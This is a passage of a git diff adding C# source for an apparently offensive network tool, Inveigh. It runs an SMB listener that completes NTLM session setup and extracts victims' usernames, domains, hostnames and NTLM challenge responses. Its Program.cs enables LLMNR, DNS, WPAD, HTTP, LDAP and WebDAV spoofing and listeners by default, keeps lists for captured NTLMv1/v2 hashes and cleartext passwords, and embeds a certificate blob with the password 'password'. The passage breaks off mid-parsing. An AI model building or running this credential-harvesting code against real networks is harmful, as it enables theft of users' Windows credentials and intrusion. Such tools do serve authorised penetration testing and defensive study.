+ sessionServiceIndex = 4;
+ }
+
+ byte[] sendBuffer = new byte[0];
+ SMBHeader requestSMBHeader = new SMBHeader();
+ SMB2Header requestSMB2Header = new SMB2Header();
+ smbHelper.ReadBytes(requestData, sessionServiceIndex);
+
+ if (smbHelper.Protocol[0] == 0xfe)
+ {
+ isSMB2 = true;
+ requestSMB2Header.ReadBytes(requestData, sessionServiceIndex);
+ }
+ else
+ {
+ isSMB2 = false;
+ requestSMBHeader.ReadBytes(requestData, sessionServiceIndex);
+ }
+
+ if (!isSMB2 && requestSMBHeader.Command == 0x72 || (isSMB2 && requestSMB2Header.Command == 0))
+ {
+ SMB2NegotiatelRequest smb2NegotiatelRequest = new SMB2NegotiatelRequest(requestData, 64 + sessionServiceIndex);
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2NegotiateResponse smb2NegotiateResponse = new SMB2NegotiateResponse();
+
+ if (!isSMB2)
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0xff, 0x02 };
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 };
+ Output.Queue(String.Format("[.] [{0}] SMB1({1}) negotiation request received from {2}:{3}", DateTime.Now.ToString("s"), listenerPort, clientIP, clientPort));
+ }
+ else if (isSMB2)
+ {
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+
+ if (smb2NegotiatelRequest.GetMaxDialect() == 0x311)
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0x11, 0x03 };
+ smb2NegotiateResponse.NegotiateContextCount = 3;
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x2f, 0x00, 0x00, 0x00 };
+ smb2NegotiateResponse.NegotiateContextOffset = 448;
+ smb2NegotiateResponse.NegotiateContextList = new SMB2NegotiateContext().GetBytes(new string[] { "1", "2", "3" });
+ Output.Queue(String.Format("[.] [{0}] SMB3({1}) negotiated with {2}:{3}", DateTime.Now.ToString("s"), listenerPort, clientIP, clientPort));
+ }
+ else
+ {
+ smb2NegotiateResponse.DialectRivision = new byte[2] { 0x10, 0x02 };
+ smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 };
+ Output.Queue(String.Format("[.] [{0}] SMB2({1}) negotiated with {2}:{3}", DateTime.Now.ToString("s"), listenerPort, clientIP, clientPort));
+ }
+
+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; // todo fix
+ }
+
+ smb2NegotiateResponse.EncodeBuffer();
+ smb2NegotiateResponse.ServerGUID = serverGuid.ToByteArray();
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2NegotiateResponse);
+ }
+ else if (isSMB2 && requestSMB2Header.Command > 0)
+ {
+
+ switch (requestSMB2Header.Command)
+ {
+
+ case 1:
+ {
+ SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(requestData, 64 + sessionServiceIndex);
+ NTLMNegotiate requestNTLMNegotiate = new NTLMNegotiate(smb2SessionSetupRequest.Buffer, true);
+
+ if (requestNTLMNegotiate.MessageType == 1)
+ {
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse();
+ responseSMB2Header.Status = new byte[4] { 0x16, 0x00, 0x00, 0xc0 };
+ responseSMB2Header.CreditCharge = 1;
+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2;
+ responseSMB2Header.Command = 1;
+ responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 };
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+ responseSMB2Header.SessionId = BitConverter.GetBytes(Program.smb2Session);
+ Program.smb2Session++;
+ smb2SessionSetupResponse.Pack(Program.argChallenge, Program.netbiosDomain, Program.computerName, Program.dnsDomain, Program.computerName, Program.dnsDomain, out byte[] challengeData);
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse);
+ challenge = BitConverter.ToString(challengeData).Replace("-", "");
+ Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort));
+ }
+ else if (requestNTLMNegotiate.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer, true);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-","");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
+ SMB2Header responseSMB2Header = new SMB2Header();
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse();
+ responseSMB2Header.Status = new byte[4] { 0x6d, 0x00, 0x00, 0xc0 };
+ //responseSMB2Header.Status = new byte[4] { 0x00, 0x00, 0x00, 0x00 };
+ //responseSMB2Header.Status = new byte[4] { 0x22, 0x00, 0x00, 0xc0 }; //access denied
+ responseSMB2Header.CreditCharge = 1;
+ responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2;
+ responseSMB2Header.Command = 1;
+ responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 };
+ responseSMB2Header.MessageId = requestSMB2Header.MessageId;
+ responseSMB2Header.SessionId = requestSMB2Header.SessionId;
+ smb2SessionSetupResponse.SecurityBufferOffset = 0;
+ sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse);
+ }
+
+ }
+ break;
+
+ }
+
+ }
+
+ tcpStream.Write(sendBuffer, 0, sendBuffer.Length);
+ tcpStream.Flush();
+ }
+ else
+ {
+ // tcpClient.Close();
+ }
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Program.cs b/Inveigh/Program.cs
new file mode 100644
index 0000000..3ae0293
--- /dev/null
+++ b/Inveigh/Program.cs
@@ -0,0 +1,640 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.IO;
+using System.Collections;
+
+namespace Inveigh
+{
+ class Program
+ {
+ //begin parameters - set defaults as needed before compile
+ public static string argCert = "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";
+ public static string argCertPassword = "password";
+ public static string argChallenge = "";
+ public static string argConsole = "3";
+ public static string argConsoleLimit = "-1";
+ public static string argConsoleStatus = "0";
+ public static string argConsoleUnique = "Y";
+ public static string argDHCPv6 = "N";
+ public static string argDHCPv6TTL = "30";
+ public static string argDNS = "Y";
+ public static string argDNSHost = "";
+ public static string argDNSTTL = "30";
+ public static string[] argDNSTypes = { "A" };
+ public static string[] argDNSSRV = { "LDAP" };
+ public static string argDNSSuffix = "";
+ public static string argFileOutput = "Y";
+ public static string argFileDirectory = Directory.GetCurrentDirectory();
+ public static string argFilePrefix = "Inveigh";
+ public static string argFileUnique = "Y";
+ public static string argHelp = "";
+ public static string argHTTP = "Y";
+ public static string argHTTPAuth = "NTLM";
+ public static string argHTTPRealm = "ADFS";
+ public static string[] argHTTPPorts = { "80" };
+ public static string argHTTPResponse = "";
+ public static string argHTTPS = "N";
+ public static string[] argHTTPSPorts = { "443" };
+ public static string argICMPv6 = "N";
+ public static string argICMPv6Interval = "200";
+ public static string argInspect = "N";
+ public static string argIPv4 = "Y";
+ public static string argIPv6 = "Y";
+ public static string argSniffer = "Y";
+ public static string argSnifferIP = "";
+ public static string argSnifferIPv6 = "";
+ public static string argListenerIP = "0.0.0.0";
+ public static string argListenerIPv6 = "::";
+ public static string argLDAP = "Y";
+ public static string[] argLDAPPorts = { "389" };
+ public static string argLLMNR = "Y";
+ public static string argLLMNRTTL = "30";
+ public static string[] argLLMNRTypes = { "A" };
+ public static string argLogOutput = "Y";
+ public static string argMAC = "";
+ public static string argMachineAccounts = "N";
+ public static string argMDNS = "N";
+ public static string[] argMDNSQuestions = { "QU", "QM" };
+ public static string argMDNSTTL = "120";
+ public static string[] argMDNSTypes = { "A" };
+ public static string argMDNSUnicast = "Y";
+ public static string argNBNS = "N";
+ public static string argNBNSTTL = "165";
+ public static string[] argNBNSTypes = { "00", "20" };
+ public static string argProxy = "N";
+ public static string argProxyAuth = "NTLM";
+ public static string argProxyPort = "8492";
+ public static string argRunCount = "0";
+ public static string argRunTime = "0";
+ public static string argSMB = "Y";
+ public static string[] argSMBPorts = { "445" };
+ public static string[] argIgnoreAgents = { "Firefox" };
+ public static string[] argIgnoreDomains;
+ public static string[] argIgnoreIPs;
+ public static string[] argIgnoreHosts;
+ public static string[] argIgnoreMACs;
+ public static string[] argReplyToDomains;
+ public static string[] argReplyToHosts;
+ public static string[] argReplyToIPs;
+ public static string[] argReplyToMACs;
+ public static string argSpooferIP = "";
+ public static string argSpooferIPv6 = "";
+ public static string argLocal = "N";
+ public static string argRepeat = "Y";
+ public static string argWebDAV = "Y";
+ public static string argWebDAVAuth = "NTLM";
+ public static string argWPADAuth = "NTLM";
+ public static string argWPADResponse = "";
+ //end parameters
+ public static ConsoleColor colorPositive = ConsoleColor.Green; // change output colors here
+ public static ConsoleColor colorNegative = ConsoleColor.Red;
+ public static Hashtable smbSessionTable = Hashtable.Synchronized(new Hashtable());
+ public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable());
+ public static IList<string> outputList = new List<string>();
+ public static IList<string> consoleList = new List<string>();
+ public static IList<string> logList = new List<string>();
+ public static IList<string> logFileList = new List<string>();
+ public static IList<string> cleartextList = new List<string>();
+ public static IList<string> cleartextFileList = new List<string>();
+ public static IList<string> hostList = new List<string>();
+ public static IList<string> hostFileList = new List<string>();
+ public static IList<string> ntlmv1List = new List<string>();
+ public static IList<string> ntlmv2List = new List<string>();
+ public static IList<string> ntlmv1UniqueList = new List<string>();
+ public static IList<string> ntlmv2UniqueList = new List<string>();
+ public static IList<string> ntlmv1FileList = new List<string>();
+ public static IList<string> ntlmv2FileList = new List<string>();
+ public static IList<string> ntlmv1UsernameList = new List<string>();
+ public static IList<string> ntlmv2UsernameList = new List<string>();
+ public static IList<string> ntlmv1UsernameFileList = new List<string>();
+ public static IList<string> ntlmv2UsernameFileList = new List<string>();
+ public static IList<string> dhcpv6List = new List<string>();
+ public static IList<string> IPCaptureList = new List<string>();
+ public static IList<string> HostCaptureList = new List<string>();
+ public static IList<string> commandHistoryList = new List<string>();
+ public static bool enabledConsoleOutput = true;
+ public static bool enabledConsoleUnique = false;
+ public static bool enabledDHCPv6 = false;
+ public static bool enabledDNS = false;
+ public static bool enabledElevated = false;
+ public static bool enabledFileOutput = false;
+ public static bool enabledFileUnique = false;
+ public static bool enabledHTTP = false;
+ public static bool enabledHTTPS = false;
+ public static bool enabledICMPv6 = false;
+ public static bool enabledInspect = false;
+ public static bool enabledIPv4 = false;
+ public static bool enabledIPv6 = false;
+ public static bool enabledLDAP = false;
+ public static bool enabledLLMNR = false;
+ public static bool enabledLocal = false;
+ public static bool enabledLogOutput = false;
+ public static bool enabledMachineAccounts = false;
+ public static bool enabledMDNS = false;
+ public static bool enabledMDNSUnicast = false;
+ public static bool enabledNBNS = false;
+ public static bool enabledProxy = false;
+ public static bool enabledRepeat = false;
+ public static bool enabledSMB = false;
+ public static bool enabledSniffer = false;
+ public static bool enabledWebDAV = false;
+ public static bool enabledWindows = true;
+ public static bool isRunning = true;
+ public static bool isSession = false;
+ public static bool isNTLMv1Updated = false;
+ public static bool isNTLMv2Updated = false;
+ public static bool isCleartextUpdated = false;
+ public static bool isNTLMv1UniqueUpdated = false;
+ public static bool isNTLMv2UniqueUpdated = false;
+ public static bool isCleartextUniqueUpdated = false;
+ public static IPAddress listenerIPAddress = IPAddress.Any;
+ public static IPAddress listenerIPv6Address = IPAddress.IPv6Any;
+ public static int dhcpv6Random = (new Random()).Next(1, 9999);
+ public static uint dnsSerial = (uint)(new Random()).Next(1, 9999);
+ public static int icmpv6Interval;
+ public static int dhcpv6IPIndex = 1;
+ public static int console;
+ public static int consoleQueueLimit = -1;
+ public static int consoleStatus = 0;
+ public static int runCount = 0; // todo check
+ public static int runTime = 0;
+ public static int ntlmv1Count = 0;
+ public static int ntlmv2Count = 0;
+ public static int cleartextCount = 0;
+ public static int ntlmv1UniqueCount = 0;
+ public static int ntlmv2UniqueCount = 0;
+ public static int cleartextUniqueCount = 0;
+ public static string computerName = Environment.MachineName;
+ public static string netbiosDomain = Environment.UserDomainName;
+ public static string dnsDomain = "";
+ public static ulong smb2Session = 5548434740922023936; // todo check
+ public static string version = "2.0";
+
+ static void Main(string[] arguments)
+ {
+
+#if !NETFRAMEWORK
+ if (!System.OperatingSystem.IsWindows())
+ {
+ enabledWindows = false;
+ }
+#endif
+
+ if (arguments.Length > 0)
+ {
+
+ foreach (var entry in arguments.Select((value, index) => new { index, value }))
+ {
+ string argument = entry.value.ToUpper();
+
+ try
+ {
+
+ switch (argument)
+ {
+
+ case "-CERT":
+ case "/CERT":
+ argCert = arguments[entry.index + 1];
+ break;
+
+ case "-CERTPASSWORD":
+ case "/CERTPASSWORD":
+ argCertPassword = arguments[entry.index + 1];
+ break;
+
+ case "-CHALLENGE":
+ case "/CHALLENGE":
+ argChallenge = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-CONSOLE":
+ case "/CONSOLE":
+ argConsole = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-CONSOLELIMIT":
+ case "/CONSOLELIMIT":
+ argConsoleLimit = arguments[entry.index + 1];
+ break;
+
+ case "-CONSOLESTATUS":
+ case "/CONSOLESTATUS":
+ argConsoleStatus = arguments[entry.index + 1];
+ break;
+
+ case "-CONSOLEUNIQUE":
+ case "/CONSOLEUNIQUE":
+ argConsoleUnique = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DHCPV6":
+ case "/DHCPV6":
+ argDHCPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DHCPV6TTL":
+ case "/DHCPV6TTL":
+ argDHCPv6TTL = arguments[entry.index + 1];
+ break;
+
+ case "-DNS":
+ case "/DNS":
+ argDNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DNSHOST":
+ case "/DNSHOST":
+ argDNSHost = arguments[entry.index + 1];
+ break;
+
+ case "-DNSSUFFIX":
+ case "/DNSSUFFIX":
+ argDNSSuffix = arguments[entry.index + 1];
+ break;
+
+ case "-DNSSRV":
+ case "/DNSSRV":
+ argDNSSRV = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-DNSTTL":
+ case "/DNSTTL":
+ argDNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DNSTYPES":
+ case "/DNSTYPES":
+ argDNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-FILEDIRECTORY":
+ case "/FILEDIRECTORY":
+ argFileDirectory = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEOUTPUT":
+ case "/FILEOUTPUT":
+ argFileOutput = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEPREFIX":
+ case "/FILEPREFIX":
+ argFilePrefix = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEUNIQUE":
+ case "/FILEUNIQUE":
+ argFileUnique = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTP":
+ case "/HTTP":
+ argHTTP = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPAUTH":
+ case "/HTTPAUTH":
+ argHTTPAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPBASICREALM":
+ case "/HTTPBASICREALM":
+ argHTTPRealm = arguments[entry.index + 1];
+ break;
+
+ case "-HTTPPORTS":
+ case "/HTTPPORTS":
+ argHTTPPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-HTTPS":
+ case "/HTTPS":
+ argHTTPS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPSPORTS":
+ case "/HTTPSPORTS":
+ argHTTPSPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-HTTPRESPONSE":
+ case "/HTTPRESPONSE":
+ argHTTPResponse = arguments[entry.index + 1];
+ break;
+
+ case "-ICMPV6":
+ case "/ICMPV6":
+ argICMPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-ICMPV6INTERVAL":
+ case "/ICMPV6INTERVAL":
+ argICMPv6Interval = arguments[entry.index + 1];
+ break;
+
+ case "-IGNOREAGENTS":
+ case "/IGNOREAGENTS":
+ argIgnoreAgents = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-IGNOREDOMAINS":
+ case "/IGNOREDOMAINS":
+ argIgnoreDomains = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREHOSTS":
+ case "/IGNOREHOSTS":
+ argIgnoreHosts = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREIPS":
+ case "/IGNOREIPS":
+ argIgnoreIPs = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREMACS":
+ case "/IGNOREMACS":
+ argIgnoreMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
+ break;
+
+ case "-INSPECT":
+ case "/INSPECT":
+ argInspect = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-IPV4":
+ case "/IPV4":
+ argIPv4 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-IPV6":
+ case "/IPV6":
+ argIPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LDAP":
+ case "/LDAP":
+ argLDAP = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LDAPPORTS":
+ case "/LDAPPORTS":
+ argLDAPPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-LISTENERIP":
+ case "/LISTENERIP":
+ argListenerIP = arguments[entry.index + 1];
+ break;
+
+ case "-LISTENERIPV6":
+ case "/LISTENERIPV6":
+ argListenerIPv6 = arguments[entry.index + 1];
+ break;
+
+ case "-LLMNR":
+ case "/LLMNR":
+ argLLMNR = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LLMNRTTL":
+ case "/LLMNRTTL":
+ argLLMNRTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LLMNRTYPES":
+ case "/LLMNRTYPES":
+ argLLMNRTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-LOCAL":
+ case "/LOCAL":
+ argLocal = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LOGOUTPUT":
+ case "/LOGOUTPUT":
+ argLogOutput = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MAC":
+ case "/MAC":
+ argMAC = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "");
+ break;
+
+ case "-MACHINEACCOUNTS":
+ case "/MACHINEACCOUNTS":
+ argMachineAccounts = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNS":
+ case "/MDNS":
+ argMDNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNSQUESTIONS":
+ case "/MDNSQUESTIONS":
+ argMDNSQuestions = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-MDNSTTL":
+ case "/MDNSTTL":
+ argMDNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNSTYPES":
+ case "/MDNSTYPES":
+ argMDNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-MDNSUNICAST":
+ case "/MDNSUNICAST":
+ argMDNSUnicast = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNS":
+ case "/NBNS":
+ argNBNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNSTTL":
+ case "/NBNSTTL":
+ argNBNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNSTYPES":
+ case "/NBNSTYPES":
+ argNBNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-PROXY":
+ case "/PROXY":
+ argProxy = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-PROXYPORT":
+ case "/PROXYPORT":
+ argProxyPort = arguments[entry.index + 1];
+ break;
+
+ case "-RUNCOUNT":
+ case "/RUNCOUNT":
+ argRunCount = arguments[entry.index + 1];
+ break;
+
+ case "-RUNTIME":
+ case "/RUNTIME":
+ argRunTime = arguments[entry.index + 1];
+ break;
+
+ case "-SMB":
+ case "/SMB":
+ argSMB = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-SMBPORTS":
+ case "/SMBPORTS":
+ argSMBPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-SNIFFER":
+ case "/SNIFFER":
+ argSniffer = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-SNIFFERIP":
+ case "/SNIFFERIP":
+ argSnifferIP = arguments[entry.index + 1];
+ break;
+
+ case "-SNIFFERIPV6":
+ case "/SNIFFERIPV6":
+ argSnifferIPv6 = arguments[entry.index + 1];
+ break;
+
+ case "-SPOOFERIP":
+ case "/SPOOFERIP":
+ argSpooferIP = arguments[entry.index + 1];
+ break;
+
+ case "-SPOOFERIPV6":
+ case "/SPOOFERIPV6":
+ argSpooferIPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-REPEAT":
+ case "/REPEAT":
+ argRepeat = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-REPLYTODOMAINS":
+ case "/REPLYTODOMAINS":
+ argReplyToDomains = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOHOSTS":
+ case "/REPLYTOHOSTS":
+ argReplyToHosts = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOIPS":
+ case "/REPLYTOIPS":
+ argReplyToIPs = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOMACS":
+ case "/REPLYTOMACS":
+ argReplyToMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
+ break;
+
+ case "-WEBDAV":
+ case "/WEBDAV":
+ argWebDAV = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WEBDAVAUTH":
+ case "/WEBDAVAUTH":
+ argWebDAVAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WPADAUTH":
+ case "/WPADAUTH":
+ argWPADAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WPADRESPONSE":
+ case "/WPADRESPONSE":
+ argWPADResponse = arguments[entry.index + 1];
+ break;
+
+ case "-?":
+ case "/?":
+ if (arguments.Length > 1)
+ argHelp = arguments[entry.index + 1].ToUpper();
+ Output.GetHelp(argHelp);
+ Environment.Exit(0);
+ break;
+
+ default:
+ if (argument.StartsWith("-") || argument.StartsWith("/"))
